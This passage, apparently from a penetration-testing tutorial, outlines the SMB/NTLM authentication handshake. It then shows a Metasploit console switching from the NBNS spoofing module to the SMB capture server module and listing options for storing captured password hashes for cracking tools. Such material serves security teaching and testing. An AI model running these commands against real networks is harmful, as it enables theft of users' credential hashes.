Client sends SMB_COM_NEGOTIATE request Server replies with SMB_COM_NEGOTIATE response Client sends NTLM NEGOTIATE_MESSAGE request Server replies with NTLM CHALLENGE_MESSAGE response Client sends NTLM AUTHENTICATE_MESSAGE request Server replies with SMB_COM_SESSION_SETUP response msf auxiliary(nbns_response) > use auxiliary/server/capture/smb msf auxiliary(smb) > show options Module options (auxiliary/server/capture/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte challenge JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format SRVHOST 0.0.0.0 yes The local host to listen on.